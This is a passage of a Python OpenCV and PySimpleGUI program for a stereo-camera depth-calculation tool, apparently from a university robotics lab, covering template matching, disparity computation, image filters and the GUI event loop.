cols\n\t\t\t\ttop = detection[4] * rows\n\t\t\t\tright = detection[5] * cols\n\t\t\t\tbottom = detection[6] * rows\n\t\t\t\tcv2.rectangle(image, (int(left), int(top)), (int(right), int(bottom)), (0, 0, 255), thickness=2)\n\t\treturn image\n\n#OD=objectDetection('frozen_inference_graph.pb', 'graph.pbtxt')\n \ndef findComonImage(image,whichOne,method=0):\n\tglobal template\n\tif whichOne=='R':\n\t\ttemplate=ROI_R\n\t\t#print(image.shape,template.shape,image[W_FRAME-roi_w:W_FRAME ,0:roi_h].shape)#(480, 640, 3) (110, 70, 3) 370 480\n\t\t#image[W_FRAME-roi_w:W_FRAME ,0:roi_h]=ROI_L\n\telse:\n\t\ttemplate=ROI_L\n\t\t#print(image.shape,template.shape,image[W_FRAME-roi_w,W_FRAME :0,roi_h].shape)\n\t\t#image[W_FRAME-roi_w:W_FRAME ,0:roi_h]=ROI_R\n\t#w,h=template.shape[:,:,-1]\n\tcm= values['comparison_methods']\n\tprint(cm)\n\tres = cv2.matchTemplate(image,template,eval(cm))\n\t#threshold=.8#values['thresh_slider']\n\t#print(threshold)\n\t#loc=np.where(res >= threshold)\n\tmin_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)# find the minimum and maximum element values and their positions\n\tif comparison_methods[method] in [cv2.TM_SQDIFF, cv2.TM_SQDIFF_NORMED]:\n\t\ttop_left = min_loc\n\telse:\n\t\ttop_left = max_loc\n\n\tbottom_right = (top_left[0] + roi_h, top_left[1] + roi_w)\n\tdx=int((bottom_right[0]-top_left[0])/2)\n\tdy=int((bottom_right[1]-top_left[1])/2)\n\t#print(top_left,bottom_right,dx,dy)\n\n\tfont = cv2.FONT_HERSHEY_SIMPLEX\n\tbottomLeftCornerOfText = (int(W_FRAME/2),int(H_FRAME/2))\n\tfontScale = 1\n\tfontColor = (255,255,255)\n\tlineType = 2\n\tmatn='Distance %.3f cm'%abs(distance(W_FRAME/2,top_left[0]+dx))\n\tprint(matn)\n\tcv2.putText(image,matn,bottomLeftCornerOfText,font,fontScale,fontColor,lineType)\n\tcv2.line(image,(int(W_FRAME/2),int(H_FRAME/2)) , (top_left[0]+dx,int(H_FRAME/2)), (0,100,200), 5)\n\n\t#for pt in zip(*loc[::-1]):\n\t#\treturn\tcv2.rectangle(image,pt, (pt[0]+roi_w,pt[1]+roi_h), (0,0,255), 2)\n\treturn \tcv2.rectangle(image,top_left, bottom_right, (0,0,255), 2)\n\n#ROI lambda x:\ndef distance(px1,px2):\n\treturn BASELINEF*2650/(int(px1-px2+.001))\n\ndef numberOfChannel(image):\n\tif len(image.shape)>2:\n\t\treturn image.shape[-1]\n\treturn 1\n#row , column| height, width, channels = img.shape\ndef drawRec(image,w=roi_w,h=roi_h,color=COLOR_R,thickness=2):\n\tW,H=W_FRAME,H_FRAME#image.shape[0],image.shape[1]#(480,640)\n\n\tstart_point,end_point=(int((W-w)/2),int((H-h)/2)),(int((W+w)/2),int((H+h)/2))\n\t#print(start_point,end_point)\n\treturn cv2.rectangle(image, start_point, end_point, color, thickness)\n\ndef convert1to3channel(g_image):\n\treturn np.zeros( ( np.array(g_image).shape[0], np.array(g_image).shape[1], 3 ) )\n\tif len(g_image.shape)>2:\n\t\tprint(g_image.shape[-1])\n\t\treturn g_image\n\n\timg3 = np.zeros_like(g_image)\n\timg3[:,:,0] = g_image\n\timg3[:,:,1] = g_image\n\timg3[:,:,2] = g_image\n\treturn img2\n\ndef start_camera():\n\tglobal capR,capL\n\tcapL = cv2.VideoCapture(int(values['camera_left'])) \n\tcapR = cv2.VideoCapture(int(values['camera_right']))\n\tCameraRecording = True\n\tprint(\"camera starting\")\ndef stop_camera():\n\tglobal capR,capL\n\tcapL.release()\n\tcapR.release()\n\tCameraRecording = False\n\tprint(\"camera stoping\")\n\ndef showFrams():\n\tglobal \tnumDisparities,blockSize,MiddleImg,frameL,frameR,frame_grayL,frame_grayR,ROI_L,ROI_R\n\tret, frameL = capL.read()\n\tret2,frameR = capR.read()\n\tROI_L=frameL[int((H_FRAME-roi_h)/2):int((H_FRAME+roi_h)/2)\t,\tint((W_FRAME-roi_w)/2):int((W_FRAME+roi_w)/2)]\n\tROI_R=frameR[int((H_FRAME-roi_h)/2):int((H_FRAME+roi_h)/2)\t,\tint((W_FRAME-roi_w)/2):int((W_FRAME+roi_w)/2)]\n\t#print(\"raw:\",frameR.shape,frameR.shape[::-1]) # shape(480,640,3) CV_8UC3\n\t# raw: (480, 640, 3) (3, 640, 480)\n\tframe_grayL =cv2.cvtColor(frameL , cv2.COLOR_BGR2GRAY)\n\tframe_grayR =cv2.cvtColor(frameR , cv2.COLOR_BGR2GRAY)\n\t#print(\"gray scale:\",frame_grayL.shape,frame_grayL.dtype) shape(480,640 ) CV_8UC1\n\tframeLsmall=drawRec(frameL,color=COLOR_L);\n\tframeRsmall=drawRec(frameR,color=COLOR_R);\n\tframeLsmall =cv2.resize(frameL ,(Width,Height))\n\tframeRsmall =cv2.resize(frameR ,(Width,Height))\n\t#LeftImgbytes =cv2.imencode('.png', frameLsmall)[1].tobytes()\n\t#RightImgbytes=cv2.imencode('.png', frameRsmall)[1].tobytes()\n\n\tif MiddleSource=='combineCam':\n\t\tws=int(values['blockSize_slider'])\n\t\tif ws%2==0:\n\t\t\tws=ws+1\n\t\tnumDisparities=int(int(values['ndis_slider']/16)*16)\n\t\t#print(numDisparities, ws)\n\t\tstereo = cv2.StereoBM_create(numDisparities=numDisparities, blockSize=ws)\n\t\tdisparity = stereo.compute(frame_grayR,frame_grayL)# Both input images must have CV_8UC1 in function 'cv::StereoBMImpl::compute'\n\n\t\tmask_image[disparity > 0] = (942.8 * 140) / (0.001 * disparity[disparity > 0])\n\t\tMiddleImg=disparity#mask_image##cv2.imencode('.png', disparity)[1].tobytes(); CV_16SC1\n\n\n\telif MiddleSource=='LeftCam':\n\t\tMiddleImg=frameL#frame_grayL#cv2.imencode('.png', frame_grayL)[1].tobytes()MiddleImg: (480, 640) uint8\n\n\t\tMiddleImg=findComonImage(MiddleImg,'R',method=0)\n\n\telif MiddleSource=='RightCam':\n\t\tMiddleImg=frameR#frame_grayR#cv2.imencode('.png', frame_grayR)[1].tobytes()\n\t\tMiddleImg=findComonImage(MiddleImg,'L',method=0)\n\n\n\n\tcv2.line(MiddleImg,(0,int(H_FRAME/2)),(W_FRAME,int(H_FRAME/2)),(255,20,100),2)\n\tcv2.line(MiddleImg,(int(W_FRAME/2),0),(int(W_FRAME/2),H_FRAME),(255,20,100),2)\n\t#print(\"MiddleImg:\",MiddleImg.shape,MiddleImg.dtype)\n\treturn frameLsmall,MiddleImg,frameRsmall\n\ndef GUI_c():\n\tcolumnFlag = [\n\t\t\t[sg.Checkbox('Normalize', size=(12, 1), default=True), sg.Checkbox('Verbose', size=(20, 1))],\n\t\t\t[sg.Checkbox('Cluster', size=(12, 1)), sg.Checkbox('Flush Output', size=(20, 1), default=True)],\n\t\t\t[sg.Checkbox('Write Results', size=(12, 1)), sg.Checkbox('Keep Intermediate Data', size=(20, 1))],\n\t\t\t[sg.Checkbox('Normalize', size=(12, 1), default=True), sg.Checkbox('Verbose', size=(20, 1))],\n\t\t\t[sg.Checkbox('Cluster', size=(12, 1)), sg.Checkbox('Flush Output', size=(20, 1), default=True)],\n\t\t\t[sg.Checkbox('Write Results', size=(12, 1)), sg.Checkbox('Keep Intermediate Data', size=(20, 1))],\n\t\t\t]\n\n\tcolumnLF = [\n\t\t\t\t[sg.Radio('Cross-Entropy', 'loss', size=(12, 1)), sg.Radio('Logistic', 'loss', default=True, size=(12, 1))],\n\t\t\t\t[sg.Radio('Hinge', 'loss', size=(12, 1)), sg.Radio('Huber', 'loss', size=(12, 1))],\n\t\t\t\t[sg.Radio('Kullerback', 'loss', size=(12, 1)), sg.Radio('MAE(L1)', 'loss', size=(12, 1))],\n\t\t\t\t[sg.Radio('object', 'loss', size=(12, 1)), sg.Radio('detect', 'loss', size=(12, 1), enable_events=True,key='detect')],\n\t\t\t\t]\n\n\tcolumnCommand = [\n\t\t\t\t\t[sg.Text('Passes', size=(8, 1)), sg.Spin(values=[i for i in range(1, 1000)], initial_value=20, size=(6, 1)), sg.Text('Steps', size=(8, 1), pad=((7,3))), sg.Spin(values=[i for i in range(1, 1000)], initial_value=20, size=(6, 1))],\n\t\t\t\t\t[sg.Text('ooa', size=(8, 1)), sg.In(default_text='6', size=(8, 1)), sg.Text('nn', size=(8, 1)), sg.In(default_text='10', size=(10, 1))],\n\t\t\t\t\t[sg.Text('q', size=(8, 1)), sg.In(default_text='ff', size=(8, 1)), sg.Text('ngram', size=(8, 1)), sg.In(default_text='5', size=(10, 1))],\n\t\t\t\t\t[sg.Text('l', size=(8, 1)), sg.In(default_text='0.4', size=(8, 1)), sg.Text('Comparison',size=(8, 1)), sg.Drop(values=('cv2.TM_CCOEFF', 'cv2.TM_CCOEFF_NORMED', 'cv2.TM_CCORR','cv2.TM_CCORR_NORMED', 'cv2.TM_SQDIFF', 'cv2.TM_SQDIFF_NORMED'), auto_size_text=True,key='comparison_methods')],\n\t\t\t\t\t]\n\n\tcolumnL=[\n\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t [sg.Image(filename='',data= Image.fromarray(mask_image_s, 'P'), key='imageL')],\n\n\t\t\t [sg.Frame(layout=[\n\t\t\t\t\t\t\t\t\t[sg.Radio('Combine Cameras', \"RADIO1\",enable_events=True,key='combineCam', default=True)],\n\t\t\t\t\t\t\t\t\t[sg.Radio('Left Camera' , \"RADIO1\",enable_events=True,key='LeftCam')],\n\t\t\t\t\t\t\t\t\t[sg.Radio('Right Camera' , \"RADIO1\",enable_events=True,key='RightCam')]\n\n\t\t\t\t\t ], title='Image Source',title_color='black', relief=sg.RELIEF_SUNKEN, tooltip='Use these to set flags')\n\t\t\t ],\n\t\t\t [sg.Image(filename='', key='ROI')]\n\t\t\t]\n\tcolumnM=[\n\t\t\t#[sg.Text('OpenCV ', size=(40, 1), justification='center', font='Helvetica 18')],\n\t\t\t#[sg.Text('\t\t\t\tMain Image ', justification='center', font='Helvetica 12')],\n\t\t\t[sg.Image(filename='', key='output',)]\n\t\t\t]\n\tcolumnR=[\n\t\t\t[sg.Text('Right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t[sg.Image(filename='', key='imageR')],\n\t\t [sg.Output(size=(40,9))]\n\t\t\t]\n\n\n\tcolumn11=[\n\t\t\t [sg.Radio('None', 'Radio', True, enable_events=True,key='NONE', size=(10, 1))],\n\t\t\t [sg.Radio('Num of Disparities/block Size ','Radio',enable_events=True, key='ndis'),sg.Slider((16, 160), 16, 1, enable_events=True,orientation='h', key='ndis_slider'),sg.Slider((5, 255), 5, 5, enable_events=True,orientation='h', key='blockSize_slider')],\n\t\t\t [sg.Radio('fgbfghe','Radio', enable_events=True, key='blocnvbncvkSize') ,sg.Slider((10, 21), 10, 1, enable_events=True,orientation='h', size=(40, 15), key='bxxxSize_slider')],\n\t\t\t ]\n\tcolumn12=[\n\t\t\t[sg.Radio('canny', 'Radio', size=(10, 1),enable_events=True, key='canny') ,sg.Slider((0, 255), 128, 1, orientation='h', size=(20, 15), key='canny_slider_a'),sg.Slider((0, 255), 128, 1, orientation='h', size=(20, 15), key='canny_slider_b')],\n\t\t [sg.Radio('Cam Preset','Radio', size=(10, 1),enable_events=True, key='campreset') ,sg.Slider((0, 3), 0, 1, orientation='h',enable_events=True, size=(40, 15), key='campreset_slider')],\n\t\t\t[sg.Radio('Chess Corner', 'Radio', size=(10, 1),enable_events=True, key='ChessCorner'),sg.In(key='ChessNum'),sg.Slider((2, 16), 8, 1, orientation='h', size=(20, 15), key='ChesX_slider'),sg.Slider((2, 16), 6, 1, orientation='h', size=(20, 15), key='ChesY_slider')]\n\t\t]\n\tcolumn21=[\n\t\t [sg.Radio('threshold', 'Radio', size=(10, 1),enable_events=True, key='thresh') ,sg.Slider((0, 255), 128, 1, orientation='h', size=(40, 15), key='thresh_slider')],\n\t\t [sg.Radio('contour', 'Radio', size=(10, 1),enable_events=True, key='contour'),sg.Slider((0, 255), 128, 1, orientation='h', size=(20, 15), key='contour_slider'),sg.Slider((0, 255), 80, 1, orientation='h', size=(20, 15), key='base_slider')],\n\t\t [sg.Radio('blur', 'Radio', size=(10, 1),enable_events=True, key='blur') ,sg.Slider((1, 11), 1, 1, orientation='h', size=(40, 15), key='blur_slider')],\n\t\t ]\n\tcolumn22=[\n\t\t [sg.Radio('hue', 'Radio', size=(10, 1),enable_events=True, key='hue') ,sg.Slider((0, 225), 0, 1, orientation='h', size=(40, 15), key='hue_slider')],\n\t\t [sg.Radio('line', 'Radio', size=(10, 1),enable_events=True, key='line'), sg.Slider((0, 1000), 10, 1, orientation='h', size=(20, 15), key='linemax_slider'),sg.Slider((0, 1000), 1000, 1, orientation='h', size=(20, 15), key='linemin_slider')],\n\t\t [sg.Radio('enhance', 'Radio', size=(10, 1),enable_events=True, key='enhance'),sg.Slider((1, 255), 128, 1, orientation='h', size=(40, 15), key='enhance_slider')]\n\t\t ]\n\n\ttab_ObjectDetectionSetting =[ [sg.Column(column11,),sg.Column(column12,)] ]\n\ttab_DepthDetectionSetting =[ [sg.Column(column21,),sg.Column(column22,)] ]\n\ttab_MachineLearningSetting =[ [sg.Column(columnCommand,),sg.Column(columnFlag,),sg.Column(columnLF,)] ]\n\t#layout2 = [\tsg.Column(column1,),sg.Column(column2)]\n\t# create the window and show it without the plot\n\t# define the window layout\n\ttab_Main=[\n\t\t\t [sg.Column(columnL),sg.Column(columnM),sg.Column(columnR)],\n\t\t\t [sg.TabGroup([ [sg.Tab('Object Detection Setting', tab_ObjectDetectionSetting),sg.Tab('Depth Detection Setting' , tab_DepthDetectionSetting),sg.Tab('Machine Learning Setting', tab_MachineLearningSetting),]], key='_TABGROUP_')]\n\t\t\t ]\n#-----------------------------------key='tab_left'------------------------------------------------------------------------------------\t\t\t \n\tcolumn_Tab_lef_LEFT=[\n\t\t\t\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Image(filename='', key='column_Tab_lef_LEFT_image')],\n\t\t\t\t\t\t ]\n\tcolumn_Tab_lef_RIGHT=[\n\t\t\t\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('Left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t ]\n\ttab_left=[ #key='tab_left'\n\t\t\t [sg.Column(column_Tab_lef_LEFT),sg.Column(column_Tab_lef_RIGHT)],\n\t\t\t [sg.Text('Select Camera Left')],\n\t\t\t [sg.Text('Select Camera Left')],\n\t\t\t [sg.Text('Select Camera Left')],\n\t\t\t ]\n#----------------------------------------tab_right -------------------------------------------------------------------------------\n\tcolumn_Tab_right_LEFT=[\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Image(filename='', key='column_Tab_right_LEFT_image')],\n\t\t\t\t\t\t ]\n\tcolumn_Tab_right_RIGHT=[\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t ]\n\ttab_right=[ #key='tab_right'\n\t\t\t [sg.Column(column_Tab_right_LEFT),sg.Column(column_Tab_right_RIGHT)],\n\t\t\t [sg.Text('Select Camera right')],\n\t\t\t [sg.Text('Select Camera right')],\n\t\t\t [sg.Text('Select Camera right')],\n\t\t\t ]\n#-------------------------------------------------tab_both----------------------------------------------------------------------\t\t\t \n\tcolumn_Tab_both_LEFT=[\n\t\t\t\t\t\t [sg.Text('left Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Image(filename='', key='column_Tab_both_LEFT_image')],\n\t\t\t\t\t\t ]\n\tcolumn_Tab_both_RIGHT=[\n\t\t\t\t\t\t [sg.Text('right Camera ', justification='center', font='Helvetica 12')],\n\t\t\t\t\t\t [sg.Image(filename='', key='column_Tab_both_RIGHT_image')],\n\t\t\t\t\t\t ]\n\ttab_both=[ #key='tab_both'\n\t\t\t [sg.Column(column_Tab_both_LEFT),sg.Column(column_Tab_both_RIGHT)],\n\t\t\t [sg.Text('both Camera ')],\n\t\t\t [sg.Text('both Camera ')],\n\t\t\t [sg.Text('both Camera ')],\n\t\t\t ]\n#-----------------------------------------------------------------------------------------------------------------------\n\n\n\tlayout =[\n\t\t\t#[sg.Text('(Almost) All widgets in one Window!', size=(50, 1), justification='center')],\n\t\t\t[sg.TabGroup([[\n\t\t\t\t\t\t\tsg.Tab('Main', tab_Main ,key='tab_Main'),\n\t\t\t\t\t\t\tsg.Tab('Left Camera' , tab_left ,key='tab_left' ),\n\t\t\t\t\t\t\tsg.Tab('Right Camera', tab_right,key='tab_right' ),\n\t\t\t\t\t\t\tsg.Tab('Both Camera', tab_both ,key='tab_both' ),\n\t\t\t\t\t\t\t]],enable_events=True,key='NEW_TAB')\n\t\t\t\t],\n\t\t\t[\tsg.Text('Select Camera left'),sg.InputCombo(('0', '1','2','3'), size=(2, 1),key='camera_left',default_value='1'),\n\t\t\t\tsg.Text('Select Camera right'),sg.InputCombo(('0', '1','2','3'), size=(2, 1),key='camera_right',default_value='2'),\n\t\t\t\tsg.Text('\t\t\t\t'),\n\t\t\t\tsg.Button('Record', size=(8, 1), pad=(4,4),font='Helvetica 10'),\n\t\t\t\tsg.Button('Stop', size=(8, 1), pad=(4,4),font='Any 10'),\n\t\t\t\tsg.Button('Exit', size=(8, 1), pad=(4,4),font='Helvetica 10'),\n\t\t\t\tsg.Button('About', size=(8,1), pad=(4,4),font='Any 10')]\n\t\t\t]\n\n\n\t#sg.ChangeLookAndFeel('LightGreen')\n\tsg.SetOptions(element_padding=(0, 0))\n\t# SetOptions(icon=None,\n # button_color=None,\n # element_size=(None, None),\n # button_element_size=(None, None),\n # margins=(None, None),\n # element_padding=(None, None),\n # auto_size_text=None,\n # auto_size_buttons=None,\n # font=None,\n # border_width=None,\n # slider_border_width=None,\n # slider_relief=None,\n # slider_orientation=None,\n # autoclose_time=None,\n # message_box_line_width=None,\n # progress_meter_border_depth=None,\n # progress_meter_style=None,\n # progress_meter_relief=None,\n # progress_meter_color=None,\n # progress_meter_size=None,\n # text_justification=None,\n # background_color=None,\n # element_background_color=None,\n # text_element_background_color=None,\n # input_elements_background_color=None,\n # input_text_color=None,\n # scrollbar_color=None,\n # text_color=None,\n # element_text_color=None,\n # debug_win_size=(None, None),\n # window_location=(None, None),\n # error_button_color=(None, None),\n # tooltip_time=None)\n\n\twindow = sg.Window(\"Sterio Camera Depth Calculation\",\n default_element_size=(12, 1),\n text_justification='c',\n auto_size_text=True,\n auto_size_buttons=True,\n no_titlebar=False,\n grab_anywhere=False,\n\t\t\t\t keep_on_top=True,\n\t\t\t\t #location=(400,200),\n\t\t\t\t # button_color=None,\n\t\t\t\t\t# font=None,\n\t\t\t\t\t# progress_bar_color=(None, None),\n\t\t\t\t\t# background_color=None,\n\t\t\t\t\t# border_depth=None,\n\t\t\t\t\t# auto_close=False,\n\t\t\t\t\t# auto_close_duration=DEFAULT_AUTOCLOSE_TIME,\n\t\t\t\t\t# icon=DEFAULT_WINDOW_ICON,\n\t\t\t\t\t# force_toplevel = False,\n\t\t\t\t #return_keyboard_events=True,\n\t\t\t\t\t# use_default_focus=True,\n\t\t\t\t\tresizable=True,\n default_button_element_size=(12, 1))\n\treturn window.Layout(layout).Finalize()\n\t# ---===--- Event LOOP Read and display frames, operate the GUI --- #\ndef opencv_feature(values):\n\tif values['canny']:\n\t\tMiddleImgbytes = cv2.Canny(MiddleImgbytes, values['canny_slider_a'], values['canny_slider_b'])\n\n\tif values['ndis']:\n\t\tnumDisparities=int(int(values['ndis_slider']/16)*16);\n\t\t#print(\"numDisparities=\",numDisparities)\n\t\t#print( frame.dtype ) byte8\n\t\t#print( frame_gray.dtype ) byte8\n\t\t#print( LeftImgbytes.dtype )\n\t\t#print( stereo.dtype )\n\t\t#print( disparity.dtype ) int16\n\t\t#print(stereo,disparity ) ,mat\n\n\tif values['blockSize']:\n\t\tpass#print(int(values['blockSize_slider']))#blockSize\n\tif values['thresh']:\n\t\t#disparity = cv2.cvtColor(disparity, cv2.COLOR_BGR2LAB)[:, :, 0]\n\t\t_, disparity = cv2.threshold(disparity, values['thresh_slider'], 255, cv2.THRESH_BINARY)\n\n\tif values['blur']:\n\t\tdisparity = cv2.GaussianBlur(disparity, (21, 21), values['blur_slider'])\n\tif values['hue']:\n\t\tdisparity = cv2.cvtColor(disparity, cv2.COLOR_BGR2HSV)\n\t\tdisparity[:, :, 0] += values['hue_slider']\n\t\tdisparity = cv2.cvtColor(disparity, cv2.COLOR_HSV2BGR)\n\tif values['enhance']:\n\t\tenh_val = values['enhance_slider'] / 40\n\t\tclahe = cv2.createCLAHE(clipLimit=enh_val, tileGridSize=(8, 8))\n\t\tlab = cv2.cvtColor(disparity, cv2.COLOR_BGR2LAB)\n\t\tlab[:, :, 0] = clahe.apply(lab[:, :, 0])\n\t\tdisparity = cv2.cvtColor(lab, cv2.COLOR_LAB2BGR)\n\tif values['contour']:\n\t\thue = cv2.cvtColor(disparity, cv2.COLOR_BGR2HSV)\n\t\thue = cv2.GaussianBlur(hue, (21, 21), 1)\n\t\thue = cv2.inRange(hue, np.array([values['contour_slider'], values['base_slider'], 40]),\n\t\t\t\t\t\t np.array([values['contour_slider'] + 30, 255, 220]))\n\t\t_, cnts, _ = cv2.findContours(hue, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\t\tcv2.drawContours(disparity, cnts, -1, (0, 0, 255), 2)\n\t#disparity=cv2.resize(disparity,(Width,Height));\n\n\n\ndef handle_Events(event):\n\tglobal CameraRecording,MiddleSource,MODE\n\tprint(\"New Event:\",event)\n\tif event == 'Exit' :\n\t\t\tstop_camera()\n\t\t\tsys.exit(0)\n\telif event == 'Record':\n\t\t\tstart_camera()\n\t\t\tCameraRecording = True\n\n\telif event == 'Stop':\n\t\t\tstop_camera()\n\t\t\tCameraRecording = False\n\t\t\t# img = np.full((480, 640),255)\n\t\t\t# imgbytes=cv2.imencode('.png', img)[1].tobytes() #this is faster, shorter and needs less includes\n\t\t\t# window.FindElement('image').Update(data=imgbytes)\n\telif event == 'About':\n\t\t\tsg.PopupNoWait('AUT CAIR lab',\n\t\t\t\t\t\t 'CAIR.aut.ac.nz',\n\t\t\t\t\t\t 'Albot robot',\n\t\t\t\t\t\t 'prepare depth calculation',\n\t\t\t\t\t\t #'ENJOY! Go make something really cool with this... please!',\n\t\t\t\t\t\t keep_on_top=True)\n\telif event == 'combineCam':\n\t\tMiddleSource='combineCam'\n\telif event == 'LeftCam':\n\t\tMiddleSource='LeftCam'\n\telif event == 'RightCam':\n\t\tMiddleSource='RightCam'\n\telif event == 'canny':\n\t\tMODE='canny'\n\telif event == 'thresh':\n\t\tMODE='thresh'\n\telif event == 'blur':\n\t\tMODE='blur'\n\telif event == 'contour':\n\t\tMODE='contour'\n\telif event == 'enhance':\n\t\tMODE='enhance'\n\telif event == 'hue':\n\t\tMODE='hue'\n\telif event == 'line':\n\t\tMODE='line'\n\telif event == 'ChessCorner':\n\t\tMODE='ChessCorner'\n\telif event == 'detect':\n\t\tMODE='detect'\t\t#\n\telif event=='NEW_TAB':\n\t\tif values['NEW_TAB']=='tab_left':\t\t \t\n\t\t\tMODE='tab_left'\n\t\telif values['NEW_TAB']=='tab_right':\n\t\t\tMODE='tab_right'\n\t\telif values['NEW_TAB']=='tab_both':\n\t\t\tMODE='tab_both'\n\t\telse:\n\t\t\tMODE='tab_Main'\n\telif event == 'NONE':\n\t\tMODE='NONE'\n\ndef main():\n\tglobal values;\n\twindow=GUI_c()\n\tgui_queue = queue.Queue()\n\twhile True:\n\t\tevent, values = window.Read(timeout=0, timeout_key='timeout')\n\t\t#(event or timeout_key or None, Dictionary of values or List of values from all elements in the Window)\n\t\tif event!='timeout' or event is None:\n\t\t\t#oldEvent=event;\n\t\t\thandle_Events(event)\n\t\t\t#if event=='NEW_TAB':\n\t\t\t\t#print('FindElementWithFocus',window.FindElement('NEW_TAB').FindKeyFromTabName('tab_left'))\n\t\tif CameraRecording:\n\t\t\tframeLsmall,MiddleImg,frameRsmall=showFrams()\n\t\t\t\n\t\t\tif MODE=='tab_left':\n\t\t\t\twindow.FindElement('column_Tab_lef_LEFT_image').Update(data=cv2.imencode('.png', frameL)[1].tobytes())\n\t\t\telif MODE=='tab_right':\n\t\t\t\twindow.FindElement('column_Tab_right_LEFT_image').Update(data=cv2.imencode('.png', frameR)[1].tobytes())\n\t\t\telif MODE=='tab_both':\n\t\t\t\twindow.FindElement('column_Tab_both_LEFT_image').Update(data=cv2.imencode('.png', frameL)[1].tobytes())\t\n\t\t\t\twindow.FindElement('column_Tab_both_RIGHT_image').Update(data=cv2.imencode('.png', frameR)[1].tobytes())\n\t\t\telse:\t\n\t\t\t\t# defualf is stero MiddleSource is selected\n\t\t\t\tif MODE=='canny':\n\t\t\t\t\tMiddleImg = MiddleImg.astype(np.uint8);#print(numberOfChannel(MiddleImg))\n\t\t\t\t\tMiddleImg = cv2.Canny(MiddleImg, values['canny_slider_a'], values['canny_slider_b'],apertureSize = 3)\n\t\t\t\telif MODE=='thresh':\n\t\t\t\t\tret,MiddleImg = cv2.threshold(MiddleImg,values['thresh_slider'], 255, cv2.THRESH_BINARY)\n\t\t\t\telif MODE=='hue' and MiddleSource!='combineCam':\n\t\t\t\t\tMiddleImg = cv2.cvtColor(MiddleImg, cv2.COLOR_BGR2HSV)\n\t\t\t\t\tMiddleImg[:, : , 0] += int(values['hue_slider'])\n\t\t\t\t\tMiddleImg = cv2.cvtColor(MiddleImg, cv2.COLOR_HSV2BGR)\n\t\t\t\telif MODE=='enhance' and MiddleSource!='combineCam':\n\t\t\t\t\tenh_val = values['enhance_slider'] / 40\n\t\t\t\t\tclahe = cv2.createCLAHE(clipLimit=enh_val, tileGridSize=(8, 8))\n\t\t\t\t\tlab = cv2.cvtColor(MiddleImg, cv2.COLOR_BGR2LAB)\n\t\t\t\t\tlab[:, :, 0] = clahe.apply(lab[:, :, 0])\n\t\t\t\t\tMiddleImg = cv2.cvtColor(lab, cv2.COLOR_LAB2BGR)\n\t\t\t\telif MODE=='contour' and MiddleSource!='combineCam':\n\t\t\t\t\t#print(\"MiddleImg:\",MiddleImg.shape,MiddleImg.dtype,numberOfChannel(MiddleImg))\n\t\t\t\t\thue = cv2.cvtColor(MiddleImg, cv2.COLOR_BGR2GRAY)\n\t\t\t\t\t#hue = cv2.GaussianBlur(hue, (21, 21), 1)\n\t\t\t\t\t#hue = cv2.inRange(hue, np.array([values['contour_slider'], values['base_slider'], 40]),np.array([values['contour_slider'] + 30, 255, 220]))\n\t\t\t\t\tret,thresh = cv2.threshold(hue,values['thresh_slider'], 255, cv2.THRESH_BINARY)\n\t\t\t\t\tcnts,hierachy=cv2.findContours(thresh,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n\t\t\t\t\t#print(cnts)\n\t\t\t\t\tcv2.drawContours(MiddleImg, cnts, -1, (0, 0, 255), 2)\n\t\t\t\telif MODE=='blur' and MiddleSource!='combineCam':\n\t\t\t\t\tMiddleImg = cv2.GaussianBlur(MiddleImg, (21, 21), values['blur_slider'])\n\t\t\t\telif MODE=='ChessCorner':\n\t\t\t\t\tMiddleImg = np.uint8(MiddleImg) #just data type not channel\n\t\t\t\t\t#MiddleImg = (MiddleImg).astype(np.uint8)\n\t\t\t\t\tif numberOfChannel( MiddleImg)> 1:\n\t\t\t\t\t\tMiddleImg=cv2.cvtColor(MiddleImg, cv2.COLOR_BGR2GRAY)\n\t\t\t\t\t#print (int(values['ChesX_slider']),int(values['ChesY_slider']))\n\t\t\t\t\tfound, corners = cv2.findChessboardCorners(MiddleImg, (int(values['ChesX_slider']),int(values['ChesY_slider'])), None)\n\t\t\t\t\tif found:\n\t\t\t\t\t\tprint(corners)\n\t\t\t\t\twindow.FindElement('ChessNum').Update(found)\n\t\t\t\telif MODE=='line':\n\t\t\t\t\tminLineLength = int( values['linemin_slider'])\n\t\t\t\t\tmaxLineGap = int( values['linemax_slider'])\n\t\t\t\t\tlines = cv2.HoughLinesP(edges,1,np.pi/180,100,minLineLength,maxLineGap)\n\t\t\t\t\tfor rho,theta in lines[0]:\n\t\t\t\t\t\ta = np.cos(theta)\n\t\t\t\t\t\tb = np.sin(theta)\n\t\t\t\t\t\tx0 = a*rho\n\t\t\t\t\t\ty0 = b*rho\n\t\t\t\t\t\tx1 = int(x0 + 1000*(-b))\n\t\t\t\t\t\ty1 = int(y0 + 1000*(a))\n\t\t\t\t\t\tx2 = int(x0 - 1000*(-b))\n\t\t\t\t\t\ty2 = int(y0 - 1000*(a))\n\t\t\t\t\t\tcv2.line(MiddleImg,(x1,y1),(x2,y2),(0,0,255),2)\n\t\t\t\telif MODE=='detect' and MiddleSource!='combineCam':\n\t\t\t\t\t#MiddleImg = cv2.cvtColor(MiddleImg, cv2.COLOR_BGR2HSV)\n\t\t\t\t\tbbox, label, conf = 